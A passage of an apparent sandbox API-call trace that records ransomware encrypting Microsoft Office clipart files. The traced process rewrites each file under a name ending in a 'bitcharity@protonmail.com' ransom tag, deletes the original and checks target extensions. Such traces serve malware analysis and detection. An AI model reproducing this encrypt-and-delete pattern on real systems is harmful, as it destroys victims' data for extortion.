Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00687_.wmf")) returned 0x220 [0299.985] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00687_.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0299.985] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00687_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10bc [0299.985] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0299.985] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0299.986] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00687_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10dc [0299.986] GetLastError () returned 0x0 [0299.986] ReadFile (in: hFile=0x10bc, lpBuffer=0x37dc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x37dc020*, lpNumberOfBytesRead=0x2bbfecc*=0x10f4, lpOverlapped=0x0) returned 1 [0300.167] WriteFile (in: hFile=0x10dc, lpBuffer=0x37dc020*, nNumberOfBytesToWrite=0x1100, lpNumberOfBytesWritten=0x2bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x37dc020*, lpNumberOfBytesWritten=0x2bbfc94*=0x1100, lpOverlapped=0x0) returned 1 [0300.234] ReadFile (in: hFile=0x10bc, lpBuffer=0x37dc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x37dc020*, lpNumberOfBytesRead=0x2bbfecc*=0x0, lpOverlapped=0x0) returned 1 [0300.234] WriteFile (in: hFile=0x10dc, lpBuffer=0x37dc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x37dc020*, lpNumberOfBytesWritten=0x2bbfc94*=0xec, lpOverlapped=0x0) returned 1 [0300.234] SetEndOfFile (hFile=0x10dc) returned 1 [0300.234] CloseHandle (hObject=0x10dc) returned 1 [0300.234] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0300.234] SetEndOfFile (hFile=0x10bc) returned 1 [0300.235] CloseHandle (hObject=0x10bc) returned 1 [0300.235] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0300.250] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00687_.wmf")) returned 1 [0300.250] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF") returned 68 [0300.250] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF") returned 68 [0300.250] lstrlenW (lpString=".doc") returned 4 [0300.250] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0300.250] lstrlenW (lpString=".docx") returned 5 [0300.250] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0300.250] lstrlenW (lpString=".pdf") returned 4 [0300.250] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0300.250] lstrlenW (lpString=".xls") returned 4 [0300.250] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0300.250] lstrlenW (lpString=".xlsx") returned 5 [0300.250] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0300.250] lstrlenW (lpString=".ppt") returned 4 [0300.250] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0300.250] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF") returned 68 [0300.250] lstrlenW (lpString=".zip") returned 4 [0300.250] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0300.250] lstrlenW (lpString=".rar") returned 4 [0300.250] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0300.250] lstrlenW (lpString=".bz2") returned 4 [0300.250] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0300.250] lstrlenW (lpString=".7z") returned 3 [0300.250] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0300.250] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF") returned 68 [0300.250] lstrlenW (lpString=".dbf") returned 4 [0300.250] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0300.250] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF") returned 68 [0300.250] lstrlenW (lpString=".1cd") returned 4 [0300.250] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0300.250] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF") returned 68 [0300.251] lstrlenW (lpString=".jpg") returned 4 [0300.251] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0300.251] SetFilePointerEx (in: hFile=0x10d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0300.251] SetFilePointerEx (in: hFile=0x10d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0300.251] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01015_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01015_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1088 [0300.251] GetLastError () returned 0x0 [0300.251] ReadFile (in: hFile=0x10d0, lpBuffer=0x37dc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x37dc020*, lpNumberOfBytesRead=0x2bbfecc*=0x47c, lpOverlapped=0x0) returned 1 [0300.901] WriteFile (in: hFile=0x1088, lpBuffer=0x37dc020*, nNumberOfBytesToWrite=0x480, lpNumberOfBytesWritten=0x2bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x37dc020*, lpNumberOfBytesWritten=0x2bbfc94*=0x480, lpOverlapped=0x0) returned 1 [0301.210] ReadFile (in: hFile=0x10d0, lpBuffer=0x37dc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x37dc020*, lpNumberOfBytesRead=0x2bbfecc*=0x0, lpOverlapped=0x0) returned 1 [0301.210] WriteFile (in: hFile=0x1088, lpBuffer=0x37dc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x37dc020*, lpNumberOfBytesWritten=0x2bbfc94*=0xec, lpOverlapped=0x0) returned 1 [0301.211] SetEndOfFile (hFile=0x1088) returned 1 [0301.211] CloseHandle (hObject=0x1088) returned 1 [0301.211] SetFilePointerEx (in: hFile=0x10d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0301.211] SetEndOfFile (hFile=0x10d0) returned 1 [0301.212] CloseHandle (hObject=0x10d0) returned 1 [0301.212] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01015_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0301.213] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01015_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01015_.wmf")) returned 1 [0301.213] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01015_.WMF") returned 68 [0301.213] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01015_.WMF") returned 68 [0301.213] lstrlenW (lpString=".doc") returned 4 [0301.213] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0301.213] lstrlenW (lpString=".docx") returned 5 [0301.213] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0301.213] lstrlenW (lpString=".pdf") returned 4 [0301.213] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0301.213] lstrlenW (lpString=".xls") returned 4 [0301.213] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0301.214] lstrlenW (lpString=".xlsx") returned 5 [0301.214] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0301.214] lstrlenW (lpString=".ppt") returned 4 [0301.214] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0301.214] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01015_.WMF") returned 68 [0301.214] lstrlenW (lpString=".zip") returned 4 [0301.214] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0301.214] lstrlenW (lpString=".rar") returned 4 [0301.214] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0301.214] lstrlenW (lpString=".bz2") returned 4 [0301.214] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0301.214] lstrlenW (lpString=".7z") returned 3 [0301.214] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0301.214] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01015_.WMF") returned 68 [0301.214] lstrlenW (lpString=".dbf") returned 4 [0301.214] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0301.214] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01015_.WMF") returned 68 [0301.214] lstrlenW (lpString=".1cd") returned 4 [0301.214] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0301.214] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01015_.WMF") returned 68 [0301.214] lstrlenW (lpString=".jpg") returned 4 [0301.214] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0301.215] SetFilePointerEx (in: hFile=0x10d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0301.215] SetFilePointerEx (in: hFile=0x10d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0301.215] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01329_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1088 [0301.216] GetLastError () returned 0x0 [0301.216] ReadFile (in: hFile=0x10d0, lpBuffer=0x37dc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x37dc020*, lpNumberOfBytesRead=0x2bbfecc*=0x1780, lpOverlapped=0x0) returned 1 [0301.458] WriteFile (in: hFile=0x1088, lpBuffer=0x37dc020*, nNumberOfBytesToWrite=0x1790, lpNumberOfBytesWritten=0x2bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x37dc020*, lpNumberOfBytesWritten=0x2bbfc94*=0x1790, lpOverlapped=0x0) returned 1 [0301.459] ReadFile (in: hFile=0x10d0, lpBuffer=0x37dc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x37dc020*, lpNumberOfBytesRead=0x2bbfecc*=0x0, lpOverlapped=0x0) returned 1 [0301.459] WriteFile (in: hFile=0x1088, lpBuffer=0x37dc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x37dc020*, lpNumberOfBytesWritten=0x2bbfc94*=0xec, lpOverlapped=0x0) returned 1 [0301.459] SetEndOfFile (hFile=0x1088) returned 1 [0301.459] CloseHandle (hObject=0x1088) returned 1 [0301.459] SetFilePointerEx (in: hFile=0x10d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0301.459] SetEndOfFile (hFile=0x10d0) returned 1 [0301.460] CloseHandle (hObject=0x10d0) returned 1 [0301.460] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0301.460] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01329_.wmf")) returned 1 [0301.461] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF") returned 68 [0301.461] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF") returned 68 [0301.461] lstrlenW (lpString=".doc") returned 4 [0301.461] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0301.461] lstrlenW (lpString=".docx") returned 5 [0301.461] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0301.461] lstrlenW (lpString=".pdf") returned 4 [0301.461] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0301.461] lstrlenW (lpString=".xls") returned 4 [0301.461] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0301.461] lstrlenW (lpString=".xlsx") returned 5 [0301.461] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0301.461] lstrlenW (lpString=".ppt") returned 4 [0301.461] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0301.461] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF") returned 68 [0301.461] lstrlenW (lpString=".zip") returned 4 [0301.461] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0301.461] lstrlenW (lpString=".rar") returned 4 [0301.461] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0301.461] lstrlenW (lpString=".bz2") returned 4 [0301.461] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0301.461] lstrlenW (lpString=".7z") returned 3 [0301.461] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0301.461] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF") returned 68 [0301.461] lstrlenW (lpString=".dbf") returned 4 [0301.461] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0301.461] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF") returned 68 [0301.461] lstrlenW (lpString=".1cd") returned 4 [0301.461] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0301.461] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF") returned 68 [0301.461] lstrlenW (lpString=".jpg") returned 4 [0301.462] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0301.462] SetFilePointerEx (in: hFile=0x10d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0301.462] SetFilePointerEx (in: hFile=0x10d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0301.462] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01759_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1088 [0301.463] GetLastError () returned 0x0 [0301.463] ReadFile (in: hFile=0x10d0, lpBuffer=0x37dc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x37dc020*, lpNumberOfBytesRead=0x2bbfecc*=0x1526, lpOverlapped=0x0) returned 1 [0301.480] WriteFile (in: hFile=0x1088, lpBuffer=0x37dc020*, nNumberOfBytesToWrite=0x1530, lpNumberOfBytesWritten=0x2bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x37dc020*, lpNumberOfBytesWritten=0x2bbfc94*=0x1530, lpOverlapped=0x0) returned 1 [0301.481] ReadFile (in: hFile=0x10d0, lpBuffer=0x37dc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x37dc020*, lpNumberOfBytesRead=0x2bbfecc*=0x0, lpOverlapped=0x0) returned 1 [0301.481] WriteFile (in: hFile=0x1088, lpBuffer=0x37dc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x37dc020*, lpNumberOfBytesWritten=0x2bbfc94*=0xec, lpOverlapped=0x0) returned 1 [0301.481] SetEndOfFile (hFile=0x1088) returned 1 [0301.481] CloseHandle (hObject=0x1088) returned 1 [0301.481] SetFilePointerEx (in: hFile=0x10d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0301.482] SetEndOfFile (hFile=0x10d0) returned 1 [0301.482] CloseHandle (hObject=0x10d0) returned 1 [0301.482] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0301.483] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01759_.wmf")) returned 1 [0301.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF") returned 68 [0301.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF") returned 68 [0301.483] lstrlenW (lpString=".doc") returned 4 [0301.483] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0301.483] lstrlenW (lpString=".docx") returned 5 [0301.483] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0301.483] lstrlenW (lpString=".pdf") returned 4 [0301.483] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0301.483] lstrlenW (lpString=".xls") returned 4 [0301.483] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0301.483] lstrlenW (lpString=".xlsx") returned 5 [0301.483] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0301.483] lstrlenW (lpString=".ppt") returned 4 [0301.483] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0301.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF") returned 68 [0301.483] lstrlenW (lpString=".zip") returned 4 [0301.483] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0301.484] lstrlenW (lpString=".rar") returned 4 [0301.484] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0301.484] lstrlenW (lpString=".bz2") returned 4 [0301.484] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0301.484] lstrlenW (lpString=".7z") returned 3 [0301.484] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0301.484] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF") returned 68 [0301.484] lstrlenW (lpString=".dbf") returned 4 [0301.484] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0301.484] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF") returned 68 [0301.484] lstrlenW (lpString=".1cd") returned 4 [0301.484] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0301.484] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF") returned 68 [0301.484] lstrlenW (lpString=".jpg") returned 4 [0301.484] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0301.484] SetFilePointerEx (in: hFile=0x10d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0301.484] SetFilePointerEx (in: hFile=0x10d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0301.484] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02155_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1088 [0301.485] GetLastError () returned 0x0 [0301.485] ReadFile (in: hFile=0x10d0, lpBuffer=0x37dc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x37dc020*, lpNumberOfBytesRead=0x2bbfecc*=0xa90, lpOverlapped=0x0) returned 1 [0301.569] WriteFile (in: hFile=0x1088, lpBuffer=0x37dc020*, nNumberOfBytesToWrite=0xaa0, lpNumberOfBytesWritten=0x2bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x37dc020*, lpNumberOfBytesWritten=0x2bbfc94*=0xaa0, lpOverlapped=0x0) returned 1 [0301.570] ReadFile (in: hFile=0x10d0, lpBuffer=0x37dc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x37dc020*, lpNumberOfBytesRead=0x2bbfecc*=0x0, lpOverlapped=0x0) returned 1 [0301.571] WriteFile (in: hFile=0x1088, lpBuffer=0x37dc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x37dc020*, lpNumberOfBytesWritten=0x2bbfc94*=0xec, lpOverlapped=0x0) returned 1 [0301.571] SetEndOfFile (hFile=0x1088) returned 1 [0301.571] CloseHandle (hObject=0x1088) returned 1 [0301.571] SetFilePointerEx (in: hFile=0x10d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0301.571] SetEndOfFile (hFile=0x10d0) returned 1 [0301.572] CloseHandle (hObject=0x10d0) returned 1 [0301.572] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0301.679] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02155_.wmf")) returned 1 [0301.679] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF") returned 68 [0301.679] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF") returned 68 [0301.679] lstrlenW (lpString=".doc") returned 4 [0301.679] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0301.679] lstrlenW (lpString=".docx") returned 5 [0301.679] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0301.679] lstrlenW (lpString=".pdf") returned 4 [0301.679] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0301.679] lstrlenW (lpString=".xls") returned 4 [0301.679] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0301.679] lstrlenW (lpString=".xlsx") returned 5 [0301.679] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0301.679] lstrlenW (lpString=".ppt") returned 4 [0301.679] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0301.679] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF") returned 68 [0301.679] lstrlenW (lpString=".zip") returned 4 [0301.679] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0301.680] lstrlenW (lpString=".rar") returned 4 [0301.680] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0301.680] lstrlenW (lpString=".bz2") returned 4 [0301.680] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0301.680] lstrlenW (lpString=".7z") returned 3 [0301.680] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0301.680] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF") returned 68 [0301.680] lstrlenW (lpString=".dbf") returned 4 [0301.680] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0301.680] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF") returned 68 [0301.680] lstrlenW (lpString=".1cd") returned 4 [0301.680] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0301.680] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF") returned 68 [0301.680] lstrlenW (lpString=".jpg") returned 4 [0301.680] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0301.680] SetFilePointerEx (in: hFile=0x10e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0301.680] SetFilePointerEx (in: hFile=0x10e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0301.680] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02298_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1084 [0301.681] GetLastError () returned 0x0 [0301.681] ReadFile (in: hFile=0x10e0, lpBuffer=0x37dc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bbfecc, lpOverlapped=0x0 | out: 